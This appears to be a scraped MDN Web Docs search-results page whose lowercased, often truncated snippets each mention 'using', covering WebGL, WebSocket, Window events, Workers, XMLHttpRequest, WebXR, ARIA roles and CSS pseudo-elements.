glenum gl.browser_default_webgl gl.browser_default_webgl, gl.none webgl when using a webgl 2 context, the following values are available additionally: constant description type default value allowed values (for param) specified in gl.pack_row_length number of pixels in a row.
WebGLRenderingContext.uniformMatrix[234]fv() - Web APIs
the location is obtained using getuniformlocation().
WebGLRenderingContext.vertexAttrib[1234]f[v]() - Web APIs
description while vertex attributes are usually used to specify values which are different for each vertex (using vertexattribpointer), it can be useful to specify a constant value.
WebGLShader - Web APIs
description to create a webglshader use webglrenderingcontext.createshader, then hook up the glsl source code using webglrenderingcontext.shadersource(), and finally invoke webglrenderingcontext.compileshader() to finish and compile the shader.
Canvas size and WebGL - Web APIs
the effect is clearly visible when using scissor() and clear() to draw a square in the center of the canvas, by specifying its position and size in pixels.
Clearing by clicking - Web APIs
if (!gl) { gl = canvas.getcontext("webgl") || canvas.getcontext("experimental-webgl"); if (!gl) { alert("failed to get webgl context.\n" + "your browser or device may not support webgl."); return; } gl.viewport(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight); } // get a random color value using a helper function.
Clearing with colors - Web APIs
first, we set the clear color to green, using the method clearcolor().
Color masking - Web APIs
but rendering is done every second, using the timer.
Hello vertex attributes - Web APIs
« previousnext » this webgl example demonstrates how to combine shader programming and user interaction by sending user input to the shader using vertex attributes.
Textures from code - Web APIs
that is, using code to generate textures for use in shading webgl objects.
Compressed texture formats - Web APIs
e_s3tc'); // will be null if not supported if (ext) { // the file is already in the correct compressed format const dataarraybuffer = await fetch('/textures/foobar512x512.rgba_s3tc_dxt1') .then(response => response.arraybuffer()); gl.compressedteximage2d(gl.texture_2d, 0, // set the base image level ext.compressed_rgba_s3tc_dxt1_ext, // the compressed format we are using 512, 512, // width, height of the image 0, // border, always 0 new dataview(dataarraybuffer)); gl.generatemipmap(); // create mipmap levels, like we would for a standard image return texture; } } ...
Getting started with WebGL - Web APIs
this article will introduce you to the basics of using webgl.
WebGL: 2D and 3D graphics for the web - Web APIs
WebAPIWebGL API
using extensions a guide to using webgl extensions.
High-level guides - Web APIs
the high-level guides listed below introduce webrtc technology from a top-down perspective, describing the overall architecture, the life cycle of a webrtc connection, and basic security and technological issues you might run into as you explore and build web content or apps using the webrtc api.
WebSocket.bufferedAmount - Web APIs
the websocket.bufferedamount read-only property returns the number of bytes of data that have been queued using calls to send() but not yet transmitted to the network.
WebSocket: close event - Web APIs
examplesocket.addeventlistener('close', (event) => { console.log('the connection has been closed successfully.'); )}; you can perform the same actions using the event handler property, like this: examplesocket.onclose = function (event) { console.log('the connection has been closed successfully.'); }; specifications specification status html living standardthe definition of 'websocket close' in that specification.
WebSocket.onerror - Web APIs
WebAPIWebSocketonerror
you can also add an error event handler using addeventlistener().
WebSocket - Web APIs
WebAPIWebSocket
events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface.
Writing a WebSocket server in Java - Web APIs
introduction this example shows you how to create a websocket api server using oracle java.
Targeting and hit detection - Web APIs
it's possible—or even likely—that whatever 3d graphics engine you're using offers hit testing, especially if it's designed specifically for game development.
Tools for analyzing Web Audio usage - Web APIs
edge add information for developers using microsoft edge.
Web Storage API - Web APIs
the web storage api provides mechanisms by which browsers can store key/value pairs, in a much more intuitive fashion than using cookies.
Window: afterprint event - Web APIs
bubbles no cancelable no interface event event handler property onafterprint examples using addeventlistener(): window.addeventlistener('afterprint', (event) => { console.log('after print'); }); using the onafterprint event handler property: window.onafterprint = (event) => { console.log('after print'); }; specifications specification status html living standard living standard ...
Window: animationend event - Web APIs
examples this example listens for the animationend event: window.addeventlistener('animationend', () => { console.log('animation ended'); }); the same, but using the onanimationend event handler property: window.onanimationend = () => { console.log('animation ended'); }; see a live example of this event.
Window: animationiteration event - Web APIs
examples this code uses animationiteration to keep track of the number of iterations an animation has completed: let iterationcount = 0; window.addeventlistener('animationiteration', () => { iterationcount++; console.log(`animation iteration count: ${iterationcount}`); }); the same, but using the onanimationiteration event handler property: let iterationcount = 0; window.onanimationiteration = () => { iterationcount++; console.log(`animation iteration count: ${iterationcount}`); }; see a live example of this event.
Window: animationstart event - Web APIs
examples this listens for the animationstart event and logs a message when it is fired: window.addeventlistener('animationstart', () => { console.log('animation started'); }); the same, but using onanimationstart: window.onanimationstart = () => { console.log('animation started'); }; see a live example of this event.
Window.applicationCache - Web APIs
don't use it to offline websites — consider using service workers instead.
Window: beforeprint event - Web APIs
bubbles no cancelable no interface event event handler property onbeforeprint examples using addeventlistener(): window.addeventlistener('beforeprint', (event) => { console.log('before print'); }); using the onbeforeprint event handler property: window.onbeforeprint = (event) => { console.log('before print'); }; specifications specification status html living standard living standard ...
Window.captureEvents() - Web APIs
note that you can pass a list of events to this method using the following syntax: window.captureevents(event.keypress | event.keydown | event.keyup).
Window.close() - Web APIs
WebAPIWindowclose
this method can only be called on windows that were opened by a script using the window.open() method.
Window.closed - Web APIs
WebAPIWindowclosed
before attempting to change the url, it checks that the current window has an opener using the window.opener property and that the opener isn't closed: // check that an opener exists and is not closed if (window.opener && !window.opener.closed) { window.opener.location.href = 'http://www.mozilla.org'; } note that popups can only access the window that opened them.
Window.confirm() - Web APIs
WebAPIWindowconfirm
regardless, there are good reasons to avoid using dialog boxes for confirmation.
Window.console - Web APIs
WebAPIWindowconsole
console.log("an error occurred while loading the content"); the next example logs an object to the console, with the object's fields expandable using disclosure widgets: console.dir(someobject); see usage in console for more thorough examples.
Window.convertPointFromNodeToPage() - Web APIs
please review the browser compatibility section before using this method, as it's not widely supported (nor is the point object it uses).
Window.convertPointFromPageToNode - Web APIs
please review the browser compatibility section before using this method, as it's not widely supported (nor is the point object it uses).
Window.defaultStatus - Web APIs
try to avoid using it.
Window.devicePixelRatio - Web APIs
then the updatepixelratio() function is called once to display the starting value, after which the media query is created using matchmedia() and addeventlistener() is called to set up updatepixelratio() as a handler for the change event.
Window.directories - Web APIs
try to avoid using it.
window.dump() - Web APIs
WebAPIWindowdump
output can be sent to the browser console using console.log().
Window.event - Web APIs
WebAPIWindowevent
you should avoid using this property in new code, and should instead use the event passed into the event handler function.
Window.frames - Web APIs
WebAPIWindowframes
it is similar to an array in that it has a length property and its items can be accessed using the [i] notation.
Window.getDefaultComputedStyle() - Web APIs
in particular, to avoid the so called css history leak security issue, browsers may expressly "lie" about the used value for a link and always return values as if a user has never visited the linked site, and/or limit the styles that can be applied using the :visited pseudo-selector.
Window.getSelection() - Web APIs
when cast to string, either by appending an empty string ("") or using selection.tostring(), this object returns the text selected.
Window.history - Web APIs
WebAPIWindowhistory
in particular, that article explains security features of the pushstate() and replacestate() methods that you should be aware of before using them.
Window.home() - Web APIs
WebAPIWindowhome
try to avoid using it.
Window.innerHeight - Web APIs
the width can be obtained using the innerwidth property.
Window: load event - Web APIs
WebAPIWindowload event
bubbles no cancelable no interface event event handler property onload examples log a message when the page is fully loaded: window.addeventlistener('load', (event) => { console.log('page is fully loaded'); }); the same, but using the onload event handler property: window.onload = (event) => { console.log('page is fully loaded'); }; live example html <div class="controls"> <button id="reload" type="button">reload</button> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea> </div> css body { display: grid; grid-template-ar...
Window: message event - Web APIs
bubbles no cancelable no interface messageevent event handler property onmessage examples suppose a script sends a message to a different browsing context, such as another <iframe>, using code like this: const targetframe = window.top.frames[1]; const targetorigin = 'https://example.org'; const windowmessagebutton = document.queryselector('#window-message'); windowmessagebutton.addeventlistener('click', () => { targetframe.postmessage('hello there', targetorigin); }); the receiver can listen for the message using addeventlistener() with code like this: window.addeventliste...
Window: messageerror event - Web APIs
bubbles no cancelable no interface messageevent event handler property onmessageerror examples listen for messageerror using addeventlistener(): window.addeventlistener('messageerror', (event) => { console.error(event); }); the same, but using the onmessageerror event handler property: window.onmessageerror = (event) => { console.error(event); }; specifications specification status html living standard living standard ...
Window.mozAnimationStartTime - Web APIs
try to avoid using it.
Window.mozPaintCount - Web APIs
try to avoid using it.
Window.name - Web APIs
WebAPIWindowname
window.name will convert all values to their string representations by using the tostring method.
Window.navigator - Web APIs
WebAPIWindownavigator
x11; linux x86_64) applewebkit/537.36 (khtml, like gecko) ubuntu chromium/66.0.3359.181 chrome/66.0.3359.181 safari/537.36" } else if (susrag.indexof("safari") > -1) { sbrowser = "apple safari"; // "mozilla/5.0 (iphone; cpu iphone os 11_4 like mac os x) applewebkit/605.1.15 (khtml, like gecko) version/11.0 mobile/15e148 safari/604.1 980x1306" } else { sbrowser = "unknown"; } alert("you are using: " + sbrowser); specifications specification status comment html living standardthe definition of 'window: navigator' in that specification.
Window.onbeforeinstallprompt - Web APIs
}); window.onbeforeinstallprompt = function(event) { ...}; example the following example uses the beforeinstallprompt event to make an install button operable, by using the event inside a click handler.
Window.openDialog() - Web APIs
WebAPIWindowopenDialog
the variables specified in the javascript code which gets loaded from the dialog), it is not possible to pass return values back past the close operation using globals (or any other constructs).
Window: pagehide event - Web APIs
window.addeventlistener("pagehide", event => { if (event.persisted) { /* the page isn't being discarded, so it can be reused later */ } }, false); this can also be written using the onpagehide event handler property on the window: window.onpagehide = event => { if (event.persisted) { /* the page isn't being discarded, so it can be reused later */ } } specifications specification status comment html living standardthe definition of 'pagehide' in that specification.
Window: pageshow event - Web APIs
this includes: initially loading the page navigating to the page from another page in the same window or tab restoring a frozen page on mobile oses returning to the page using the browser's forward or back buttons during the initial page load, the pageshow event fires after the load event.
Window.pkcs11 - Web APIs
WebAPIWindowpkcs11
try to avoid using it.
Window.releaseEvents() - Web APIs
example window.releaseevents(event.keypress) notes note that you can pass a list of events to this method using the following syntax: window.releaseevents(event.keypress | event.keydown | event.keyup).
window.requestIdleCallback() - Web APIs
currently only one property is defined: timeout: if timeout is specified and has a positive value, and the callback has not already been called by the time timeout milliseconds have passed, the callback will be called during the next idle period, even if doing so risks causing a negative performance impact.
Window: resize event - Web APIs
span></p> <p>window width: <span id="width"></span></p> const heightoutput = document.queryselector('#height'); const widthoutput = document.queryselector('#width'); function reportwindowsize() { heightoutput.textcontent = window.innerheight; widthoutput.textcontent = window.innerwidth; } window.onresize = reportwindowsize; addeventlistener equivalent you could set up the event handler using the addeventlistener() method: window.addeventlistener('resize', reportwindowsize); specifications specification status document object model (dom) level 3 events specificationthe definition of 'resize' in that specification.
Window.routeEvent() - Web APIs
WebAPIWindowrouteEvent
try to avoid using it.
Window.scroll() - Web APIs
WebAPIWindowscroll
examples <!-- put the 100th vertical pixel at the top of the window --> <button onclick="scroll(0, 100);">click to scroll down 100 pixels</button> using options: window.scroll({ top: 100, left: 100, behavior: 'smooth' }); notes window.scrollto() is effectively the same as this method.
Window.scrollBy() - Web APIs
WebAPIWindowscrollBy
examples to scroll down one page: window.scrollby(0, window.innerheight); to scroll up: window.scrollby(0, -window.innerheight); using options: window.scrollby({ top: 100, left: 100, behavior: 'smooth' }); notes window.scrollby() scrolls by a particular amount, whereas window.scroll() scrolls to an absolute position in the document.
Window.scrollTo() - Web APIs
WebAPIWindowscrollTo
examples window.scrollto(0, 1000); using options: window.scrollto({ top: 100, left: 100, behavior: 'smooth' }); notes window.scroll() is effectively the same as this method.
Window.scrollY - Web APIs
WebAPIWindowscrollY
} window.scrollbypages(1); notes use this property to check that the document hasn't already been scrolled when using relative scroll functions such as scrollby(), scrollbylines(), or scrollbypages().
Window.self - Web APIs
WebAPIWindowself
by using self, you can refer to the global scope in a way that will work not only in a window context (self will resolve to window.self) but also in a worker context (self will then resolve to workerglobalscope.self).
Window.sessionStorage - Web APIs
page is accidentally refreshed) if (sessionstorage.getitem("autosave")) { // restore the contents of the text field field.value = sessionstorage.getitem("autosave"); } // listen for changes in the text field field.addeventlistener("change", function() { // and save the results into the session storage object sessionstorage.setitem("autosave", field.value); }); note: please refer to the using the web storage api article for a full example.
Window.showModalDialog() - Web APIs
options is an optional string specifying window ornamentation for the dialog, using one or more semicolon delimited values: syntax description center: {on | off | yes | no | 1 | 0 } if on, yes, or 1, the dialog window is centered on the desktop; otherwise it's hidden.
Window: storage event - Web APIs
console.log(json.parse(window.localstorage.getitem('samplelist'))); }); the same action can be achieved using the onstorage event handler property: window.onstorage = () => { // when local storage changes, dump the list to // the console.
Window: transitioncancel event - Web APIs
examples this code adds a listener to the transitioncancel event: window.addeventlistener('transitioncancel', () => { console.log('transition canceled'); }); the same, but using the ontransitioncancel property instead of addeventlistener(): window.ontransitioncancel = () => { console.log('transition canceled'); }; see a live example of this event.
Window: transitionend event - Web APIs
examples this code adds a listener to the transitionend event: window.addeventlistener('transitionend', () => { console.log('transition ended'); }); the same, but using the ontransitionend property instead of addeventlistener(): window.ontransitionend = () => { console.log('transition ended'); }; see a live example of this event.
Window: transitionrun event - Web APIs
examples this code adds a listener to the transitionrun event: window.addeventlistener('transitionrun', () => { console.log('transition is running but hasn't necessarily started transitioning yet'); }); the same, but using the ontransitionrun property instead of addeventlistener(): window.ontransitionrun = () => { console.log('transition started running'); }; see a live example of this event.
Window: transitionstart event - Web APIs
examples this code adds a listener to the transitionstart event: window.addeventlistener('transitionstart', () => { console.log('started transitioning'); }); the same, but using the ontransitionstart property instead of addeventlistener(): window.ontransitionrun = () => { console.log('started transitioning'); }; see a live example of this event.
Window.window - Web APIs
WebAPIWindowwindow
prefix: settimeout("alert('hi!')", 50); // equivalent to using window.settimeout.
WindowEventHandlers.onbeforeunload - Web APIs
the html specification states that authors should use the event.preventdefault() method instead of using event.returnvalue to prompt the user.
WindowOrWorkerGlobalScope.atob() - Web APIs
the windoworworkerglobalscope.atob() function decodes a string of data which has been encoded using base64 encoding.
self.createImageBitmap() - Web APIs
colorspaceconversion: specifies whether the image should be decoded using color space conversion.
Worker() - Web APIs
WebAPIWorkerWorker
examples the following code snippet shows creation of a worker object using the worker() constructor and subsequent usage of the object: var myworker = new worker('worker.js'); first.onchange = function() { myworker.postmessage([first.value,second.value]); console.log('message posted to worker'); } for a full example, see our basic dedicated worker example (run dedicated worker).
Worker: messageerror event - Web APIs
bubbles no cancelable no interface messageevent event handler property onmessageerror examples create a worker, and listen for message and messageerror events using addeventlistener(): // inside main.js const worker = new worker("static/scripts/worker.js"); worker.addeventlistener("message", (event) => { console.error(`received message from worker: ${event}`); }); worker.addeventlistener("messageerror", (event) => { console.error(`error receiving message from worker: ${event}`); }); the same, but using the onmessageerror event handler property: // inside main.js const worker = new worker("static/scripts/worker.js"); w...
Worker.onmessage - Web APIs
WebAPIWorkeronmessage
} example the following code snippet shows creation of a worker object using the worker() constructor.
Worker.terminate() - Web APIs
WebAPIWorkerterminate
example the following code snippet shows creation of a worker object using the worker() constructor, which is then immediately terminated.
WorkerGlobalScope.dump() - Web APIs
for example, on mac os x you'd run it using something like this (assuming you are inside the applications folder): ./firefox.app/contents/macos/firefox-bin -profile /tmp -no-remote now go into about:config and enable the browser.dom.window.dump.enabled pref.
WorkerGlobalScope.importScripts() - Web APIs
example if you had some functionality written in a separate script called foo.js that you wanted to use inside worker.js, you could import it using the following line: importscripts('foo.js'); importscripts() and self.importscripts() are effectively equivalent — both represent importscripts() being called from inside the worker's inner scope.
WorkerGlobalScope.location - Web APIs
note: firefox has a bug with using console.log inside shared/service workers (see bug 1058644), which may return strange results, but this should be fixed soon.
WorkerGlobalScope.performance - Web APIs
note: firefox has a bug with using console.log inside shared/service workers (see bug 1058644), which may return strange results, but this should be fixed soon.
Worklet - Web APIs
WebAPIWorklet
instead, you write vertex shaders and fragment shaders using glsl code, and those shaders will then run on the graphics card.
XDomainRequest - Web APIs
it was removed in internet explorer 10 in favor of using xmlhttprequest with proper cors; if you are targeting internet explorer 10 or later, or wish to support any other browser, you need to use standard http access control.
XMLHttpRequest.open() - Web APIs
if true, notification of a completed transaction is provided using event listeners.
XMLHttpRequest.readyState - Web APIs
during this state, the request headers can be set using the setrequestheader() method and the send() method can be called which will initiate the fetch.
XMLHttpRequest.responseText - Web APIs
syntax var resulttext = xmlhttprequest.responsetext; value a domstring which contains either the textual data received using the xmlhttprequest or null if the request failed or "" if the request has not yet been sent by calling send().
XMLHttpRequest.responseType - Web APIs
see html in xmlhttprequest to learn more about using xhr to fetch html content.
XMLHttpRequest.responseXML - Web APIs
syntax var data = xmlhttprequest.responsexml; value a document from parsing the xml or html received using xmlhttprequest, or null if no data was received or if the data is not xml/html.
XMLHttpRequest.sendAsBinary() - Web APIs
you can create the binary string using the filereader method readasbinarystring().
XMLHttpRequest.timeout - Web APIs
using a timeout with an asynchronous request in internet explorer, the timeout property may be set only after calling the open() method and before calling the send() method.
XMLHttpRequest: timeout event - Web APIs
bubbles no cancelable no interface progressevent event handler property ontimeout examples const client = new xmlhttprequest(); client.open('get', 'http://www.example.org/example.txt'); client.ontimeout = () => { console.error('timeout!!') }; client.send(); you could also set up the event handler using the addeventlistener() method: client.addeventlistener('timeout', () => { console.error("timeout!!"); }); specifications specification status comment xmlhttprequestthe definition of 'timeout event' in that specification.
XMLHttpRequest.withCredentials - Web APIs
the xmlhttprequest.withcredentials property is a boolean that indicates whether or not cross-site access-control requests should be made using credentials such as cookies, authorization headers or tls client certificates.
XMLSerializer.serializeToString() - Web APIs
elements in the html namespace that have no child nodes (thereby representing empty tags) are serialized with both begin and end tags ("<someelement></someelement>") instead of using the empty-element tag ("<someelement/>").
XPathEvaluator.createNSResolver() - Web APIs
this adapter works like the dom level 3 method node.lookupnamespaceuri() in resolving the namespace uri from a given prefix using the current information available in the node's hierarchy at the time the method is called, also correctly resolving the implicit xml prefix.
XRInputSource.profiles - Web APIs
each string: has no spaces; instead, words are separated by hyphen ("-") characters if the platform makes it available, the usb vendor and product id may be provided but cannot be relied upon does not uniquely identify a specific device; rather, it identifies a configuration that the product is capable of using does not provide information about handedness of the device, if applicable the webxr input profiles registry is used by device developers and browser developers to attempt to ensure that a given device will report the same profile strings regardless of which browser or other user agent you use.
XRInputSourceArray.entries() - Web APIs
examples this example snippet gets the list of inputs for a session and tries to handle each type of input device it supports using.
XRInputSourceArray.forEach() - Web APIs
examples this example snippet gets the list of inputs for a session and tries to handle each type of input device it supports using.
XRInputSourceArray - Web APIs
in addition to being able to access the input sources in the list using standard array notation (that is, with index numbers insize square brackets), methods are available to allow the use of iterators and the foreach() method is also available.
XRInputSourcesChangeEvent.added - Web APIs
the read-only xrinputsourceschangeevent property added is a list of zero or more input sources, each identified using an xrinputsource object, which have been newly made available for use.
XRInputSourcesChangeEventInit.added - Web APIs
the xrinputsourceschangeeventinit property added specifies a list of input sources, each identified using an xrinputsource object, which the represented inputsourceschange event is to indicate are newly available for use.
XRPermissionDescriptor.mode - Web APIs
immersive-vr indicates that the rendered session will be displayed using an immersive xr device in vr mode; it is not intended to be overlaid or integrated into the surrounding environment.
XRReferenceSpaceEvent() - Web APIs
currently, only the reset event is defined using this type.
XRReferenceSpaceEvent.transform - Web APIs
the transform is defined using the old coordinate system, which allows it to be used to convert coordinates from the pre-event coordinate system to the post-event coordiante system.
XRReferenceSpaceEvent - Web APIs
constructor xrreferencespaceevent() returns a new xrreferencespaceevent with the specified type and configured using the values in the given xrreferencespaceeventinit dictionary.
XRReferenceSpaceEventInit.transform - Web APIs
the transform is defined using the old coordinate system, which allows it to be used to convert coordinates from the pre-event coordinate system to the post-event coordiante system.
XRRenderState.baseLayer - Web APIs
this property is read-only; however, you can indirectly change its value using xrsession.updaterenderstate.
XRRenderState - Web APIs
when you apply changes using the xrsession method updaterenderstate(), the specified changes take effect after the current animation frame has completed, but before the next one begins.
XRRenderStateInit - Web APIs
all distances are specified as floating-point values in meters; you can specify a value of 50 centimeters using a value of 0.5, for example.
XRRigidTransform.inverse - Web APIs
that is, you can always get the inverse of any xrrigidtransform using its inverse property, instead of having to explicitly generate it.
XRRigidTransform.matrix - Web APIs
the matrix is then passed into a library function that uses webgl to render an object matching a given name using the transform matrix specified to position and orient it.
XRRigidTransform - Web APIs
the advantage to using xrrigidtransform in these places rather than bare arrays that providing the matrix data is that the xrrigidtransform automatically does things like computing the inverse of the transform.
XRSession: end event - Web APIs
bubbles no cancelable no interface xrsessionevent event handler xrsession.onend example to be informed when a webxr session comes to an end, you can add a handler to your xrsession instance using addeventlistener(), like this: xrsession.addeventlistener("end", function(event) { /* the session has shut down */ }); alternatively, you can use the xrsession.onend event handler property to establish a handler for the end event: xrsession.onend = function(event) { /* the session has shut down */ } specifications specification status comment webxr device apit...
XRSession.inputSources - Web APIs
note: traditional gamepad controllers are supported using the gamepad api.
XRSession: select event - Web APIs
examples of comon kinds of primary action are users pressing triggers or buttons, tapping a touchpad, speaking a command, or performing a recognizable gesture when using a video tracking system or handheld controller with an accelerometer.
XRSession: squeeze event - Web APIs
examples of comon kinds of primary action are users pressing triggers or buttons, tapping a touchpad, speaking a command, or performing a recognizable gesture when using a video tracking system or handheld controller with an accelerometer.
XRSession: visibilitychange event - Web APIs
examples this example demonstrates how to listen for a visibilitychange event on a webxr session, using addeventlistener() to begin listening for the event: navigator.xr.requestsession("inline").then((xrsession) => { xrsession.addeventlistener("visibilitychange", e => { switch(e.session.visiblitystate) { case "visible": case "visible-blurred": mysessionvisible(true); break; case "hidden": mysessionvisible(false); break; } }); }); when...
XRSessionEvent() - Web APIs
event types the following events are represented using the xrsessionevent interface, and are permitted values for its type property.
XRSessionInit - Web APIs
at this time, all features are identified using strings from the xrreferencespacetype enumeration, but future updates to the webxr standard may add more features.
XRSessionMode - Web APIs
immersive-vr indicates that the rendered session will be displayed using an immersive xr device in vr mode; it is not intended to be overlaid or integrated into the surrounding environment.
XRSpace - Web APIs
WebAPIXRSpace
note: the xrspace interface is never used directly; instead, all spaces are created using one of the interfaces based on xrspace.
XRSystem - Web APIs
WebAPIXRSystem
also available using the ondevicechange event handler.
XRViewerPose.views - Web APIs
examples in this example—part of the code to render an xrframe, getviewerpose() is called to get an xrviewerpose using the same reference space the code is using as its base reference space.
XRViewport.width - Web APIs
WebAPIXRViewportwidth
this is defined using this property along with the viewport's height and its origin given by its properties x and y.
XRViewport - Web APIs
these values may be passed directly into the webglrenderingcontext.viewport() method: let xrviewport = xrwebgllayer.getviewport(xrview); gl.viewport(xrviewport.x, xrviewport.y, xrviewport.width, xrviewport.height); example this example sets up an animation frame callback using requestanimationframe().
XRWebGLLayer() - Web APIs
syntax let gllayer = new xrwebgllayer(session, context, layerinit); parameters session an xrsession object specifying the webxr session which will be rendered using the webgl context.
XRWebGLLayer.framebufferHeight - Web APIs
you can get the width of the framebuffer using the framebufferwidth property.
XRWebGLLayer.framebufferWidth - Web APIs
you can get the height of the framebuffer using the framebufferheight property.
XRWebGLLayer.getNativeFramebufferScaleFactor() static method - Web APIs
that gets us a new xrwebgllayer object representing a rendering surface we can use for the xrsession; we set it as the rendering surface for xrsession by calling its updaterenderstate() method, passing the new gllayer in using the xrrenderstate dictionary's xrrenderstate.baselayer property.
XRWebGLLayer.getViewport() - Web APIs
example this example demonstrates in part what the callback for the requestanimationframe() function might look like, using getviewport() to get the viewport so that drawing can be constrained to the area set aside for the eye whose viewpoint is currently being rendered.
XRWebGLLayer - Web APIs
constructor new xrwebgllayer() creates and returns a new xrwebgllayer object for use by the specified xrsession, using a particular webglrenderingcontext or webgl2renderingcontext as the destination context.
XRWebGLLayerInit.antialias - Web APIs
example in this example, before creating a new xrwebgllayer to use for rendering, the value of a user preference from a configuration interface is obtained using a function called getpreferencevalue() to determine whether the user has enabled or disabled anti-aliasing support; this is passed into the constructor.
XRWebGLLayerInit.ignoreDepthValues - Web APIs
using a depth buffer while compositing allows the xr compositor to help ensure the compositing is done as accurately as possible.
XRWebGLLayerInit.stencil - Web APIs
when using the xrwebgllayer() constructor to create a new webgl rendering layer for webxr, providing as the layerinit parameter an object whose stencil property is false requests that the new layer be created without a stencil buffer.
XSLT Basic Example - Web APIs
using the ?xml-stylesheet?
Introduction - Web APIs
each template matches (using xpath) a certain fragment of the input xml document and then applies the substitution part on that fragment to create the new resulting document.
Resources - Web APIs
at ibm developerworks xslt tutorial at zvon.org xpath tutorial at zvon.org using the mozilla javascript interface to do xsl transformations at mozilla.org mozilla.org's xslt project page, which includes a frequently encountered issues section.
msCaching - Web APIs
WebAPImsCaching
the mscaching read/write property specifies whether stream data downloaded using xmlhttprequestis cached to disk or not.
msWriteProfilerMark - Web APIs
this method is useful to profile real website performance by using the operating system metrics as a baseline.
ARIA annotations - Accessibility
<form> <ul> <li><label>apple: <input type="radio" name="fruit" value="apple"></label></li> <li><label>orange: <input type="radio" name="fruit" value="orange"></label></li> <li><label>banana: <input type="radio" name="fruit" value="banana"></label></li> </ul> </form> </section> if the descriptive text does appear in the ui, you can link the description to the widget using aria-describedby, like so: <p id="fruit-desc">choose your favourite fruit — the fruit with the highest number of votes will be added to the lunch options next week.</p> <section aria-describedby="fruit-desc"> <form> <ul> <li><label>apple: <input type="radio" name="fruit" value="apple"></label></li> <li><label>orange: <input type="radio" name="fruit" value="orange"></label></...
ARIA: timer role - Accessibility
<div id="clock" role="timer" aria-live="polite" aria-atomic="true"></div> accessibility concerns improperly using the timer role can unintentionally xxx specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'timer' in that specification.
ARIA: alert role - Accessibility
the alert role is added to the node containing an alert message, not the element causing the alert to be triggered.
ARIA: application role - Accessibility
examples some prominent web applications that use the application role properly are: google docs, sheets and slides ckeditor and tinymce wysiwyg web editors, like the one used on the mozilla developer network some parts of gmail accessibility concerns improperly using the application role can unintentionally take away access from information on a web page, so be very mindful of using it.
ARIA: document role - Accessibility
generally placed within an application role or other interactive widget role, the document role is used to indicate a section of a complex composit widget that an assistive technology user should read using its browse or virtual reading mode, if available.
ARIA: Listitem role - Accessibility
<section role="list"> <div role="listitem">list item 1</div> <div role="listitem">list item 2</div> <div role="listitem">list item 3</div> </section> description any content that consists of an outer container with a list of elements inside it can be identified to assistive technologies using the list and listitem containers respectively.
ARIA: heading role - Accessibility
instead of using a <div> or <span> with a heading role and aria-level, consider using a native <h1> through <h6> element instead to indicate that this text is a heading, and what part of the structure it represents.
Forms - Accessibility
the following pages provide various techniques for improving the accessibility of web forms: basic form hints: adding hints and descriptions for invalid or required fields alerts: using alerts to provide client-side validation error messages multi-part labels: enabling complex form labels with a control inside each label see also the yahoo!
overview - Accessibility
general resources dhtml style guide provides keyboard interaction recommendations wai-aria authoring practices guide checkbox aria toggle button and tri-state checkbox examples (from "the paciello group blog") aria example checkbox widgets from the university of illinois menu using wai-aria roles and states with the yui menu control slider from the paciello group blog: aria slider, part one, part two, part threet (example) creating an accessible, internationalized dojo rating widget tabs enhancing tabview accessibility with wai-aria roles and states, from the yui blog enhancing the jquery ui tabs accordingly to wcag 2.0 and aria tab panel example here on codeta...
Accessibility and Spacial Patterns - Accessibility
there's the potential for causing harm if there are more than five light-dark pairs of stripes in any orientation.
Mobile accessibility checklist - Accessibility
use alt and title where appropriate (see steve faulkner's post about using the html title attribute for a good guide.) if the above attributes are not applicable, use appropriate aria states and properties such as aria-label, aria-labelledby, or aria-describedby.
Robust - Accessibility
when using semantic elements correctly for their intended purpose, this criterion should be passed automatically.
Understandable - Accessibility
for example, focusing a navigation menu option should not change the displayed page — it should be activated before the display changes.
Custom properties (--*): CSS variables - CSS: Cascading Style Sheets
WebCSS--*
property names that are prefixed with --, like --example-name, represent custom properties that contain a value that can be used in other declarations using the var() function.
-moz-image-region - CSS: Cascading Style Sheets
note: -moz-image-region only works with <image> elements where the icon is specified using list-style-image.
-moz-user-focus - CSS: Cascading Style Sheets
/* keyword values */ -moz-user-focus: normal; -moz-user-focus: ignore; /* global values */ -moz-user-focus: inherit; -moz-user-focus: initial; -moz-user-focus: unset; by setting its value to ignore, you can disable focusing the element, which means that the user will not be able to activate the element.
:-moz-ui-invalid - CSS: Cascading Style Sheets
by default, gecko applies a style that creates a red "glow" (using the box-shadow property) around items, which have this pseudo-class applied.
::-moz-color-swatch - CSS: Cascading Style Sheets
note: using ::-moz-color-swatch with anything but an <input type="color"> doesn't match anything and has no effect.
::-moz-focus-inner - CSS: Cascading Style Sheets
note: using ::-moz-focus-inner with anything than the buttons that support it doesn't match anything and has no effect.
::-webkit-progress-bar - CSS: Cascading Style Sheets
syntax ::-webkit-progress-bar examples css content progress { -webkit-appearance: none; } ::-webkit-progress-bar { background-color: orange; } html content <progress value="10" max="50"> result result screenshot if you're not using a webkit or blink browser, the code above results in a progress bar that looks like this: specifications not part of any standard.
::-webkit-progress-inner-element - CSS: Cascading Style Sheets
html <progress value="10" max="50"> css progress { -webkit-appearance: none; } ::-webkit-progress-inner-element { border: 2px solid black; } result result screenshot if you're not using a blink or webkit browsear, the above code resuls in a progress bar looking like this: specifications not part of any standard.
::-webkit-progress-value - CSS: Cascading Style Sheets
html <progress value="10" max="50"> css progress { -webkit-appearance: none; } ::-webkit-progress-value { background-color: orange; } result result screenshot a progress bar using the style above would look like this: specifications not part of any standard.
::backdrop - CSS: Cascading Style Sheets
this includes both elements which have been placed in full-screen mode using the fullscreen api and <dialog> elements.
::first-letter (:first-letter) - CSS: Cascading Style Sheets
recommendation initial definition, using the one-colon syntax.
::first-line (:first-line) - CSS: Cascading Style Sheets
recommendation initial definition, using the one-colon syntax.
::slotted() - CSS: Cascading Style Sheets
WebCSS::slotted
the ::slotted() css pseudo-element represents any element that has been placed into a slot inside an html template (see using templates and slots for more information).
:active - CSS: Cascading Style Sheets
WebCSS:active
when using a mouse, "activation" typically starts when the user presses down the primary mouse button.
:checked - CSS: Cascading Style Sheets
WebCSS:checked
3px orange; } /* checkbox element, when checked */ input[type="checkbox"]:checked { box-shadow: 0 0 0 3px hotpink; } /* option elements, when selected */ option:checked { box-shadow: 0 0 0 3px lime; color: red; } result toggling elements with a hidden checkbox this example utilizes the :checked pseudo-class to let the user toggle content based on the state of a checkbox, all without using javascript.
:empty - CSS: Cascading Style Sheets
WebCSS:empty
